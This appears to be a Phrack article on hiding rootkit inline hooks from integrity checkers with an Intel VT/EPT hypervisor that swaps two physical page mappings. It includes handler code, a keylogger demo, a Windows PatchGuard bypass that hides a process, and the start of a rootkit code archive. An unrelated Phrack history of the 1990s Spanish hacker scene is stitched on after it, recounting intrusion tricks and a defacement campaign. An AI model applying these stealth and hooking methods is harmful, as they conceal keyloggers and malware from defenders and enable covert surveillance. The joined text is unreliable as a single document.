‑‑[ 1. Introduction

Writing rootkits is becoming more and more difficult. Because there are many tools waiting out there to detect misbehaviors. Adversaries put so much effort trying to make rootkits as stealthy as possible but there needs to be only one hook that defense solutions could monitor and detect the misbehavior.

Our goal is to make that hook invisible so that the detection tools cannot see it even using dynamic debuggers to check that range of code, while to rootkit does exist and functions correctly. There are other approaches, like Shadow workers which are based on TLB splitting. Researchers would initially wonder when the corresponding Intel cpu architecture was going to change, and it recently did [6][7][8]. Also TLB splitting need to hook page fault handler, that is a pain in practice. We present a way to do it only by virtualization technology, typically use Intel VT with EPT (Extended Page Tables) [5]. The same principle could also apply to other CPUs like ARM, as long as they support hardware virtualization, physical memory translation and can distinguish different types of access to a page. For instance, in x86 paging mode, a read operation is not denied as long as the page is marked as executable.

We provide a 64bits run‑time loaded hypervisor, it is loaded as a Windows driver. And with EPT, underneath the guest operating system our solution maps all the physical memory, using a 1:1 mapping. We leverage it to map a guest physical page to two different host physical pages. One is set with READ and WRITE and the other one with EXECUTE only. Normally it will be set as EXECUTE, which CPU can run on that page, but when someone want to check the integrity of it, for example to see if there is any hooks. The READ operation by the checker will trigger an EPT violation, the hypervisor will get noticed and change the underlying mapping of that page to another host physical page that contains whatever stuff you want the checker to see, e.g., the original code without any of your inline hooks. On the other end, when the CPU tries to execute code on this page again, it also will cause a EPT violation, we just change it back and let the CPU continue on it.

It is noteworthy that there are many kinds of hooks. In this paper, we focus on the inline hook for the modifications on the code section. Other types like SSDT hook or kernel object manipulation are outside the scope of this article.

The platform we are woking on are Windows 7 x64 and Windows 8.1 x64. Sure, with the invisible inline hooks, you can ignore Windows PatchGuard!

‑‑[ 2. Background

‑‑[ 2.1 Intel VMX

VMX is short for Intel virtual‑machine extensions, it supports virtualization of CPUs in hardware. VMX supports two more lower operation mode called root and non‑root mode. Usually processor has running mode known as ring‑0 to ring‑3, where ring‑0 is kernel mode, ring‑3 is user mode, ring 1 and ring 2 are rarely used. When CPU enables virtualization, it could be seen as running in the non‑root mode. The root mode can be considered as a lower and more privileged level, it controls the whole CPU. And the guest operating system will run in non‑root mode. Root mode runs VMM (Virtual Machine Monitor) is often called ring ‑1.

VMXON and VMXOFF are instructions to enter and exit VMX mode. There is an important data structure called VMCS (Virtual‑Machine Control Structure), which is 4 KB large in size. It controls the state switch between VMX root mode and VMX non‑root mode. From root mode to non‑root mode called VM Exit. From non‑root mode to root mode called VM Enter.

Every logical CPU (each core in a real physical CPU is called a logical CPU) has a processor state called VMCS pointer. It contains the physical address of the VMCS. There could be many VMCSs, the one stored in VMCS pointer is considered as the current one. Every VMCS can represent a virtual processor for the virtual machine, inside virtual machine, that is a logical CPU seen by operating system. Although hypervisor knows the physical address of a VMCS, but hypervisor cannot modify it directly, hypervisor can only reads and writes VMCS using VMREAD, VMWRITE instructions. Hypervisor use VMPTRLD to set a VMCS both as active and current. And use VMCLEAR to mark the VMCS as inactive.

A VMCS contains many fields related every aspect of a virtual machine. There are six fields: Guest‑state area, Host‑state area, VM‑execution control fields, VM‑exit control fields, VM‑entry control fields and VM‑exit information fields. And each field also contains many more control fields with a lot of settings. Once the CPU enters into a virtual machine by execute VMLAUNCH which associates with a VMCS, this virtual machine is fully control by the settings in the VMCS. Hypervisor can set during what circumstances the virtual machine should exit. And then the hypervisor can handle this situation, for example emulate a hardware device or change the virtual machine's behavior.

In our case, we do not actually emulate any hardware device, we put the current system into a virtual machine environment and our code run as the hypervisor.

‑‑[ 2.2 EPT

The extended page‑table mechanism (EPT) is used to support physical memory virtualization. When inside a virtual machine, a virtual memory access will be translated into a physical memory access by virtual CPU. Since the virtual machine is emulated, the physical memory inside the virtual machine is also emulated. It is called guest physical memory, which cannot be accessed directly by CPU. In earlier days, hypervisors had to maintain a guest virtual memory to host physical memory mapping called "shadow page table". It is hidden from guest operating system. Hypervisor needed to make sure the guest operating system believes that there is no such thing. So every operation by the guest operating system had to be intercepted and handled by hypervisor to provide a `fake` result to look normal to the guest operating system. This was tedious dynamically.

With EPT enabled virtual machine, hypervisor's responsibilities drop. The guest CPU translates and accesses physical memory as it wishes. But the guest physical memory is interpreted again by the hypervisor to translate it to the real host physical memory.

From the name, EPT is a page table. It is quite similar to the page tables in x86 architecture. Every guest physical address to host physical address translation is performed by EPT. In comparison to x86 paging mechanism, every VMCS has a EPT pointer, that is like CR3 in x86. It stores the root of the table. And it uses 4 level page‑walk, there are PML4E, PDPTE, PDE and PTE. Page fault in EPT's term is called EPT violation, that could be CPU accessing the guest physical memory which is not currently mapped or there is an access permission violation.

‑‑[ 3. How to make a hook invisible

‑‑[ 3.1 Hypervisor setup

First we need to setup a hypervisor once Windows operating system boots up. It could be cumbersome just to fill VMXON region and VMCS that are the most important data structures in VMX. There have been open‑source projects that have accomplished similar goals, e.g., Xen[2], HyperDbg[3], BluePill[4] and Intel. I learn from the giants. Code is available at EnalbeVMX() and VmxSetupVMCS() which both are called by doStartVMX(). doStartVMX() need to be called from every CPU core of the system. This is because we need to put every physical cpu core into VMX mode (interested reader is referred to Intel manual "31.5 VMM SETUP & TEAR DOWNâ€[5]).

Once VMCS is set up properly and executes vmxlauch successfully, the hypervisor starts running. We then get many vm exits that we need to handle. The handling function is doVmxExitHandler() that is located in vmxexithandler.c. Some vm‑exits happen even without any particular settings in VMCS; for example, the control register operations.

‑‑[ 3.2 Memory 1:1 mapping

Our hypervisor is loaded at run‑time. The operating system and device drivers already has been initialized. So the physical pages and especially interface registers in devices which mapped to physical memory space through MMIO (Memory mapped IO) are decided. At this point we can choose mapping of the guest physical address space to host physical address space directly using EPT. It's a 1:1 mapping. In other words, for example there is physical address access at guest physical address 0x1C000, the underneath hypervisor will direct translate it to host physical address 0x1c000.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| # # # # # | Guest Virtual Pages

+‑‑\‑/‑‑‑\‑‑‑‑‑‑‑‑\‑|‑‑‑‑‑‑‑‑‑+

X \ \|

+‑‑/‑\‑‑‑‑‑\‑‑‑‑‑‑‑‑|\‑‑‑‑‑‑‑‑+

| # # # # # | Guest Physical Pages

+‑|‑‑‑|‑‑‑‑‑|‑‑‑‑‑‑‑|‑|‑‑‑‑‑‑‑+

| | | | | Guest machine)

‑‑‑‑|‑‑‑|‑‑‑‑‑|‑‑‑‑‑‑‑|‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑|‑‑‑|‑‑‑‑‑|‑‑‑‑‑‑‑|‑|‑‑‑‑‑‑‑+ Hypervisor)

| # # # # # | Host Physical Memory

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

EPT tables entries also need to specify memory type. Because in physical memory space, there are RAM, ROM, graphics memory and device registers, they all exist in physical memory space. Memory types could be any of the following:

Uncacheable

Write Through

Write Combine

Write Protected

Write Back

The details of cache police (11.3 METHODS OF CACHING AVAILABLE [5]) is not covered here.

Different kinds of memory should have different memory type. For example, memory ranges of PCI devices should use "Uncacheable". RAM normally should be "Write Back" and graphics memory could be "Write Combine" for better performance. As I test it, you could just make all the physical memory space as "Uncacheable", but it will be extremely slow because by doing that you give up cache. On the other hand, you should not mark all the memory types as "Write Back", because PCI devices ranges usually contains registers on the devices, it is important for the register to get data strictly in order.

To decide on the memory type, we could first check Memory Type Range Registers (MTRR) and also check Page Attribute Table (PAT) which is specified in page table entries. MTRR and PAT are both Intel CPU's mechanisms to assign memory types to physical memory. MTRR are a set of MSR registers to specify memory type for several ranges of memory, usually eight ranges. PAT is supplementary to MTRR that it can provide page granularity control.

For this prototype project, we just set "IgnorePAT" bit in EPT entries and set whole RAM as "Write back" and all other memory as "Uncacheable". Because from Intel manual it seems EPT entries only support this two memory types. "A value of 0 indicates the Uncacheable type (UC), while a value of 6 indicates the write‑back type (WB). Other values are reserved" [5].

So how do we know which range of memory is RAM? There is a data structure called E820 table. It got its name because there is a BIOS function, int 0x15. With argument 0xE820 in eax register, raising interruption 0x15 will get the memory map for your PC. But since this is a BIOS function and the system already boot up, we cannot call it anymore. Fortunately on Windows operating system, all the memory information is stored in registry. It is "HKEY_LOCAL_MACHINE\HARDWARE\RESOURCEMAP\System Resources". We will not go into details about the stored data structure [9], but that is how we get the memory layout information in our implementations. This information is available at GetE820FromRegistry().

‑‑[ 3.3 Two mappings for one page

Suppose we want to hook function NtCreateFile for example, before doing anything we should first find the physical page where the function is within. Next we prepare another physical page which is totally copied from the original one. This copy is to provide to the checker to evade any integrity violation detection. In the following we will call these two pages as the original page and the shadow page. The original page is the one we will later install hooks on.

Now we are ready to install inline hook on the original page. After that, we let the original page have the EXECUTE permission flag and the shadow page has READ & WRITE bits, and we tell hypervisor all about it.

So the NtCreateFile with our inline hook will run normally as it has EXECUTE bit. Let's assume there is someone trying to take a look at the function. The read operation will violate the permission the page has. So there will be an EPT violation raised to the hypervisor. Since we have the control over the hypervisor, we change the page's mapping to the shadow one with READ & WRITE bits. With the correct permission flags, the virtual machine is happy to run again. Remember the content of the shadow page is untouched by us hence no inline hook in it. Later the kernel will call NtCreateFile and there will be another EPT violation, we change its mapping back and everything is back to the original state. This ensures that the integrity check is satisfied and our modification evades the detection.

In our implementation, we do not change EPT table entries all the time, actually we have two identical but slightly different EPT tables. And the original page and the shadow page are recorded separately in these two tables. When EPT violation happens, we just simply switch between them.

The EPT related functions are implemented in ept.c. In HandleEptViolation() handles the EPT violations:

if (PAGE_ALIGN(ul64GuestPhysicalAddress)

== PAGE_ALIGN(g_TmpShadowHookAddress))

{

if (pCurrentVMMInitState‑>ShadowEpt)

{

SwitchToEPTOriginal(pCurrentVMMInitState);

}

else

{

SwitchToEPTShadow(pCurrentVMMInitState);

}

return;

}

EptViolation((BOOLEAN)(eqe & EPT_VIOLATION_EXIT_QUAL_WRITE_BIT), ul64GuestPhysicalAddress);

So when ept violation happens, our solution first checks if faulting guest physical page equals the page where it installed the hook on. If so, the engine knows it is due to the access violation, and we just switch its mapping by using the other EPT table. If not, it is an IO page that needs a 1:1 mapping.

As it can be inferred, we can only install hook on one page. However, one can slightly extend it to handle multiple pages using Exit Qualification to determine the cause of the EPT violation (see Intel manual "28.2.2 EPT Translation Mechanism" [5]). The code that accomplishes that goal would be:

#define EPT_VIOLATION_EXIT_QUAL_READACCESS0x1

#define EPT_VIOLATION_EXIT_QUAL_WRITEACCESS0x2

#define EPT_VIOLATION_EXIT_QUAL_EXECUTEACCESS0x4

#define EPT_VIOLATION_EXIT_QUAL_READABLE0x8

#define EPT_VIOLATION_EXIT_QUAL_WRITABLE0x10

#define EPT_VIOLATION_EXIT_QUAL_EXECUTABLE0x20

if (eqe & (EPT_VIOLATION_EXIT_QUAL_READABLE | EPT_VIOLATION_EXIT_QUAL_WRITABLE | EPT_VIOLATION_EXIT_QUAL_EXECUTABLE))

{

if ((eqe & EPT_VIOLATION_EXIT_QUAL_READACCESS) ||

(eqe & EPT_VIOLATION_EXIT_QUAL_WRITEACCESS))

{

// Due to read or write access violation

}

else if (eqe & EPT_VIOLATION_EXIT_QUAL_EXECUTEACCESS)

{

// Due to execute access violation

}

}

else

{

// No any access violation, do a 1:1 mapping

}

‑‑[ 3.4 User mode pages

For user mode pages, because EPT is in charge of the physical page address translation underneath. Once you make sure which physical page is backing up the user mode page, the rest is almost the same as in kernel mode. But user mode pages often be swapped out to disk. When it swaps back to memory, it may ends up in a different physical page frame.

So we have to lock the page from being swapped out. It is important for both kernel pages and user pages. How do we lock it? First thing to try is MmProbeAndLockPages(), but you have to release the lock before a process context switch. If you don't, what will happen is Windows mm will know and give you a Bug Check 0x76: PROCESS_HAS_LOCKED_PAGES.

Since we already get into hypervisor, it is a little embarrassing to go back and find out what is going on with mm. Luckily, there is a win 32 API called VirtualLock(). From its name, we can tell it must be the one. Although this may leave a clue that something is going on with this page but it is just a common Win32 API, I guess many existing software modules make use of it.

‑‑[ 3.5 Execute and read at the same page

There could be one situation that one instruction may be executed and read data at the same page. For example, the IAT jump table. That need READ and EXECUTE permission at the same time.

One way to solve this problem is to give it all permissions for short period of time, let this special instruction do whatever it wants and then set it back. We set the READ and EXECUTE permissions and also set single step flag for the guest virtual machine. So it will execute and stop at the next instruction. We then handle this event and change the permissions back and clear the single step flag. Sounds like a plan, but in reality there will be some problems, virtual machine behaves strange with multiple CPUs. I am still trying to figure it out. This truly could be a problem, for which the solution would be emulating that instruction by hypervisor.

‑‑[ 3.6 Wakeup from sleep

When CPU wakeup from S4 state(sleep), the CPU state is restored. But not the VMX states. It means when wakeup from sleep, the CPU is not in VMX mode anymore. We should reinitialize VMX when the system wakes up [1]. The code is located in powercallback.c.

‑‑[ 4 Demo

‑‑[ 4.1 A keylogger

This is a simple keylogger that will leave no hook to be found. There are many places you can hook for a keylogger. The one we choose is KeyboardClassServiceCallBack. It is a low level function but not too low, both PS/2 and USE keyboard will call it to transfer keystrokes. And this part is not mine, I cannot find the right author to say thank you :)

Inline hooking in 64bits environment usually takes 14 bytes rather than 5 bytes in 32bits. It first pushes quad word address into stack, following by a RET instruction:

PUSH <Low Absolute Address DWORD>

MOV [RSP+4], DWORD <High Absolute Address DWORD>

RET

So the original KeyboardClassServiceCallBack() looks like:

fffff880`03994990 4c8bdc mov r11,rsp fffff880`03994993 49895b08 mov qword ptr [r11+8],rbx fffff880`03994997 49896b10 mov qword ptr [r11+10h],rbp fffff880`039949s9b 49897318 mov qword ptr [r11+18h],rsi fffff880`0399499f 57 push rdi fffff880`039949a0 4154 push r12 fffff880`039949a2 4155 push r13 fffff880`039949a4 4156 push r14

After inline hooking, it then looks like:

fffff880`03994990 68b058d502 push 2D558B0h fffff880`03994995 c744240480f8ffff mov dword ptr [rsp+4],0FFFFF880h fffff880`0399499d c3 ret

fffff880`0399499e 90 nop

fffff880`0399499f 57 push rdi fffff880`039949a0 4154 push r12 fffff880`039949a2 4155 push r13 fffff880`039949a4 4156 push r14

The address pushed into stack is the address of the trampoline function which first execute those missing instructions and then jump right back to the original KeyboardClassServiceCallback.

With our attack, the malicious driver first make a copy of the page which KeyboardClassServiceCallback within. As mentioned before, it's for the checker. Then it will tell hypervisor both of the pages by a vmcall. The hypervisor will then take care of the rest.

One thing I should mention, the demos has some hard coded values, it works on my test machines, but you should modify it a little bit to run on other version of Windows. You know how it is :)

‑‑[ 4.2 Bypass PatchGuard

PatchGuard won't check driver images other than kernel, both the KeyboardClassServiceCallback hook keylogger and the interruption hook keylogger can not trigger it. So we have to simply hook a system service call which PatchGuard do care about. Let's say NtQuerySystemInformation. If we don't have hypervisor underneath, hooking a system service function will lead to BSOD with bug check code 0x109 (CRITICAL_STRUCTURE_CORRUPTION). It usually take several minutes for PatchGuard to find out, sometimes it may need half an hour.

So in this demo project, we just simply inline hook NtQuerySystemInformation() and hide a process. In our explorations, we found out that there is some data within the same page with NtQuerySystemInformation(). And Windows operating system keeps referencing them. Hence this page will be switched back and forth between two EPT tables all the time. On the other hand, NtCreateFile() causes a very different silent situation. So in project "test" you can test either one of them by enabling function TestInvisibleNtCreateFileInlineHook() or TestInvisibleNtQuerySystemInformationInlineHook().

‑‑[ 5 Other applications

This could be used by rootkit, also it could be used by anti‑virus products to hide track from being detected by malware.

To defend and discover 0‑day attacks, sandbox system is used more and more widely. It quite efficient because it does not heavily rely on virus signatures. When a sample need to be analyzed, it will be put into a virtual machine. It makes believe that this is a real victim machine and run the sample. And the monitor program will record all the behaviors that the sample shows. If any harmful behavior is found, this sample will be marked as malware or virus.

So the whole sandbox system is based on monitoring. That is to say there will be a lot of hooks. Perhaps on Win32 API or system calls.

You can imagine the malware and virus do not want to be treated like that, they try many ways to defeat sandbox system. One way that is used most commonly is to detect if there exists any hooks in the system. If there is, they will consider this as a trap and could behave accordingly.

‑‑[ 6. Greetings

I'd like to say thank you to ufphpc and MysteryMop for the advices and helping me debugging. Thank Phrack Staff for the endless patience and encouraging.

Special thanks to uay and our two kids :)

‑‑[ 7. References

[1] http://blogs.msdn.com/b/doronh/archive/2006/06/13/630493.aspx

[2] http://www.xenproject.org

[3] https://code.google.com/p/hyperdbg/

[4] http://theinvisiblethings.blogspot.com/2006/06/

introducing‑blue‑pill.html

[5] http://www.intel.com/content/www/us/en/processors/

architectures‑software‑developer‑manuals.html

[6] http://phrack.org/issues/63/8.html

[7] https://pax.grsecurity.net/docs/pageexec.txt

[8] https://www.blackhat.com/docs/us‑14/materials/us‑14‑Torrey‑

MoRE‑Shadow‑Walker‑The‑Progression‑Of‑TLB‑Splitting‑On‑x86.pdf [9] https://msdn.microsoft.com/en‑us/library/aa390339%28v=vs.85%29.aspx

[10] https://msdn.microsoft.com/en‑us/library/windows/hardware/

ff564575%28v=vs.85%29.aspx

‑‑[ 8. Appendix: Code

begin 664 hypervisor_for_rootkit.tar.gz M'XL(`%?BS58``^P];7>B2‑;]U3ZG_P/K[LXQTU$!$<R0S!Q4['C&1!\U[<PS end

International scenes

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x10 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ International scenes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By Various ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <various@nsa.gov> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this issue of your damn favorite magazine we bring you, not one, but three international scene articles. The first is about the glorious Spanish hacking scene. We had some very respected hackers review it and we believe we have brought you a real gem.

For the second phile, rather than assembling information on a specific locale in the world, we have approached some of the predominant wargaming networks and have asked them to write up about their history and scene. We're happy with what we have got, hopefully you are too. We have all played wargames some time in our life, right? It's a hell of a hard work to maintain a wargaming platform and some people are there to do it for you, for the community.

Our third phile was a late addition due to absent minded Phrackstaff, but a strong contribution none the less. Austin Texas seems to have a strong lock picking scene, and jgor has thankfully written up this phile to tell us all about it.

We would like to point out that the following articles are probably outdated, as their original submissions date back to mid‑2015, however we believe they cover a fair deal of the, more or less, recent past and thus are worth publishing. The Phrack Staff cannot, in any way, guarantee the validity or the level of detail of the information presented herein. Want to add/correct something? Mail us and we will try to publish your side of the story as well.

Enjoy

‑Phrack Staff

‑‑[ Contents

1 ‑ A small historic guide of the first Spanish hackers The Spanish 90's Scene .................... Merce Molist & Jay Govind

2 ‑ Wargaming Scene Phile ..................... Steven, adc & weekend

3 ‑ The Austin Lockpicking Scene .............. jgor

|=[ 0x01 ]=‑‑‑=[ A small historic guide of the first Spanish hackers The Spanish 90's Scene ‑ Merce Molist & Jay Govind ]=‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑=[ A short historical guide to the first Spanish hackers ]=‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Spanish 90's Scene ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Merce Molist ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ English version: HorseRide ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ hackstory.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

= Index =

1. Old old school

2. X25 hackers

3. 29A: "I am the scene"

4. The community

5. Credits

1. Old old school

"Hi, I'm Mave

What I am going to tell you is of VITAL IMPORTANCE. YOUR FUTURE IS IN ****DANGER**** A LOT OF ****DANGER****

This morning, of January 31st 1996, at 9 in the morning, the judicial police turned up at my home, more precisely the computer crime brigade, and have ** ARRESTED ** me."

This is how started the message that Mave sent to his colleagues of the Konspiradores Hacker Klub (KhK) when he had the "honour" of becoming the first hacker arrested in Spain. He was accused of penetrating systems belonging to the Carlos III university and of having used a stolen card in Compuserve, which was pretty standard among hackers back then. He was caught because of a mistake: he entered a chat channel under police surveillance with an account under his real name.

KhK were 5 who were passionate about social engineering, meeting up in a Madrid cafe. Along with a limited few groups and lone wolves, between the late 80's and early 90's, they set down the bases of the Spanish hacking community. Another member of KhK, Lester the Teacher, would later write the first Spanish social engineering course, with those hacking pioneers mentioned in its introduction:

"There was a time in which the Internet was only a place for survivors, a time in which Knowledge was acquired through a lot of personal work.

A time in which respect was gained by sharing with those that didn't know, things you had learnt with effort.

A time in which technology ceased to be magical because you learned to read its innards and you could manage to understand it.

At that time a Hacker was one who found that no matter how much he learnt about systems he always knew very little.

A Hacker was the one that managed to program that routine even smaller and more beautiful.

A Hacker was he who respected the work of others that he recognized as peers.

This is a simple and somewhat spartan page, as things were then, dedicated to all those friends I had the fortune of finding online during that time, and here are a few of them:

Ender Wiggins, Omaq, Akira, CenoIx, Agnus Young, D‑Orb, Partyman, Quijote AFL, Pink Pulsar, HorseRide, BlackMan/KhK, Wendigo/Khk, Mave/KhK, El Enano, Bugman, Joker, Spanish Taste, Cain, Savage ...

As far as I can remember, I have never heard or read any of them call themselves a hacker."(1)

The first Spanish hackers started appearing in the 70's, from the fields of electronics and CB radio, when the word "hacker" had yet to reach Spain. They would build their own calculators and personal computers and worked in the few companies that used computers, such as the airline Iberia, state investigation centres, banks and local branches of northamerican companies. Among those few "computer nuts" Alberto Lozano stands out as one of the few Spaniards that bought an Apple I. Some years later he would help create the first Apple clones.

Alberto Lozano: "A Barcelona company built the Unitron, but couldn't sell them because they contained two ROMs copyright Apple. They said to me: Make it work without having the same ROM. I encrypted the contents of the ROM and wrote a routine that decrypted it and placed a copy in RAM of that Apple ROM when you turned on the Unitron. However, when you turned off the machine, that would be lost. If a judge took the ROM and read it, it wouldn't look in any way like the Apple one. In other words, I didn't design a BIOS, I encrypted the same one. It was a hack: an interesting solution to an important problem."

In 1978 Lozano created the first personal computer user club in Spain Apple II, Commodore Pet and Radio Shack's TRS‑80). The club reached 100 members and in 1985 Lozano made a BBS out of it.

Mave or Lester the Teacher were part of the generation following Lozano, when there was sufficient critical mass to talk of a hacker community. Many started out as crackers, among them the mythical Zaragoza duo of Super Rata Software & AWD, active from 1983 to 1986 and addicted to de protecting (cracking) games. They already had a rudimentary hacker ethic: their work had to be copyable using the ZX‑Spectrum copy program Copion by Arguello, one that everyone had, was easy to copy and easy to find. Alternatively the games would autocopy using a key combo.

However, AWD, as many others, left the cracking scene for the hacking one, obtained a modem and changed his handle to Depeche Mode. He joined HorseRide, Han Solo and Alf and together they created the first Spanish hacking group, active between 1987 and 1989. It was called Glaucoma, like the illness that attacks the eyes iris, a reference to their main hobby: penetrating RedIRIS (Iris‑net), the Spanish university network, from where they would jump onto international X25 networks.

It is still remembered how Glaucoma managed to get the password that gave access to the Telefonica X25 nodes (or PADS) in Spain: HorseRide and Han Solo, who were in their early twenties, passed off as sales rep for an English company selling shared mainframe time and wanted to buy X25 accounts. When Telefonica did a demo, they memorized the password as the technician repeatedly entered it: ORTSAC, the reversed last name of the engineer that had set them up (CASTRO).

2. X25 Hackers

Depeche Mode met The Phreaker through the Minitel chat called QSD, a hub for European hackers. The Phreaker was Catalan and wrote comm programs for modems, such as COMS4, which in 1988 were used worldwide. His are the blue box for MX BB.BAS, the exploit for Linux imapd.c, NePED ‑one of the first IDS, resulting from a bet after a few too many beers‑, and QueSO ("cheese"), which remotely determined OS's and on which Nmap was based (2).

The Phreaker created QueSO in 1996, when under the alias of Savage he helped the Portuguese group ToXyN in the first campaign of systematic attacks in the history of hacktivism against the government of Indonesia in favour of the independence of East Timor. The campaign consisted in assaulting and defacing the largest possible amount of Indonesian governmental and corporate systems. Savage contributed creating exploits and other purpose created tools such as QueSo.

Savage: "We set up search scripts for all .id domains. For each one found, we'd look for the machines hosting www ftp mail and news and tried to attack all four. We set off as many automated attacks as we could. When we'd get a positive hit, we'd finish it off manually. We owned thousands of machines. When you have a working exploit and nobody knows the vulnerability, it's really easy."

In the end, Indonesia recognized East Timor and QueSO became a weapon for peace: the Internet Operating System Counter project used it to produce a monthly report on the OS's of European computers connected to the Internet, including Israel. The promoter of IOSC was a German who ran QueSO from a machine in USA maintained by Lebanese, called beirut.leb.net . There was a curious conflict when two Israeli security companies reported that Israeli machines were being attacked from a Lebanese site. The news media exaggerated the event and IOSC ended up shutting down.

Returning to 1989, The Phreaker and Depeche joined El Maestro and Petavax to form the group Apostols. Later on they would be joined by Sir Lancelot and Ender Wiggins, who in 1987 wrote the first book in Spanish about hacking and phreaking: "Manual del novicio al hack/phreack" [The novices manual to hack/phreak] (3). Ender offered the Apostols his ample knowledge about phreaking in exchange for something he didn't know: why the American blue‑boxes didn't work in Spain.

Apostols: "We figured it out together, spending a ton of money calling each other. It was thanks to some high voice‑pitched ladies in the Girona area who when answering the phone saying "digui" (hello), the tone was so high that it was hitting 2,500Hz and cutting the link. Someone from Telefonica told us and from there it dawned on us: Heck, it's Sokotel! Sokotel was a type of link with in‑band signalling. The US was signalling in 2,600Hz, which we had tried thousands of times and it didn't work in Spain".

Phreaking was essential to reach BBS's and X25 networks, the natural field of action. As the European and USA X25 networks were linked, hacking sessions would generally extend beyond the ocean. The main port of entry for USA networks was the MITRE system, from a provider for the US Army. MITRE would gain fame from the book "The Cuckoo's Egg" by Stiff Stoll, which recounts how hackers from CCC (Chaos Computer Club) used it to steal corporate secrets from USA and sell them to the KGB:

The Phreaker: "MITRE was well connected to all the active networks back then. There was an entry menu to access a phone directory service which you could break out with the sequence CTRL‑Y **Interrupt**. If you did it right, the menu would abort and drop you in a shell from where you could connect anywhere. It was known nearly worldwide and for years all the hackers would go in through there."

"US X25 entry nodes/PADS were incorrectly configured. If you went in through the back, you had a modem to connect wherever you wanted worldwide. You only needed a list of nodes, which was easy to get: you'd go into a US university, check who's connected and you'd get a list with the identification number of the network entry port that he had used. If you'd connect to that number when the user was no longer online, some operators had it pretty badly configured and with little effort (AT OK) you'd have the modem right there. Lists of accounts that everyone knew were circulating, one of them RMS belonging to Richard Stallman, on an MIT system, with no password."

Another source of entertainment for Spanish hackers was to run and maintain their own BBS and visit those of their friends. Among the most notorious were Public NME, God's House, Jurassic Park, MSX‑Access, VampireBBS or Waikiki Island. Ender Wiggins even had the gall to open a hacker BBS (4) at the newspaper where he worked as the IT guy, taking advantage of the foreign journalists phone line. As a side note, Wiggins landed this job thanks to his expert knowledge of VMS, obtained hacking VAXes. On his first day at work he came across a problem: he didn't know how to turn it on! He had never physically accessed one.

3. 29A "I am the scene"

The Galician BBS Dark Node would become the most famous BBS, breeding ground for 29A, the most internationally known Spanish group. Respected virus authors worldwide were part of 29A during its 13 year run from 1995 to 2008: Mister Sandman (es), Anibal Lecter (es), AVV (es), Blade Runner (es), Gordon Shumway (es), Griyo (es), Leugim San (es), Mr. White (es), Tcp (es), The Slug (es), VirusBuster (es), Wintermute (es), Darkman, Jacky Qwerty, Rajaat, Reptile, Super (es), Vecna, Mental Driller (es), SoPinky, Z0mbie, Benny, Bumblebee (es), LethalMind, Lord Julus, Prizzy, Mandragore, Ratter, roy g biv and Vallez (es).

Amongst their always original creations stood out the first virus for WinNT /Win95/Win32s (Cabanas/Jacky Qwerty), and for 64 bits (Rugrat/roy g biv), the first multiplatform (Esperanto/MrSandman), the first reverse executing (Tupac Amaru/Wintermute), the first for Windows 2000 and Windows 98 ( appearing prior to the public launch of those OS's, the first that ran under Linux and Windows (Winux/Benny), the first 32 bit polymorphic ( Marburg/GriYo), the first PHP trojan (Pirus/MaskBits as colaborator), the first virus to infect PDA's (Dust/Ratter) the first for mobile phones ( Cabir/Vallez) or the first anti‑ETA hacktivist virus (GriYo) and Tuareg ( MentalDriller).

Marburg, the first 32 bit polymorphic virus, saw the light in October of 1997 after a bitter discussion on alt.comp.virus between 29A members and the antivirus industry. 29A was criticizing the industry for false advertising, as their products could not detect 100% of virus, to which the industry responded with taunts. Following this, GriYo created Marburg which none of the existing antivirus could detect. Somehow Marburg ended up on the free CD's that came with the magazines "PCGamer" and "PC Power Play", and on the MGM/Wargames game CD. Marburg spread throughout the world like wildfire.

As 29A was an international group, so were its meet‑ups which would last for days and days. They spent a month in Amsterdam, in Brno a few weeks. A nice and well loved Belgium female follower, Gigabyte, went to the latter one, who was so young that she travelled with her cheerful grandfather.

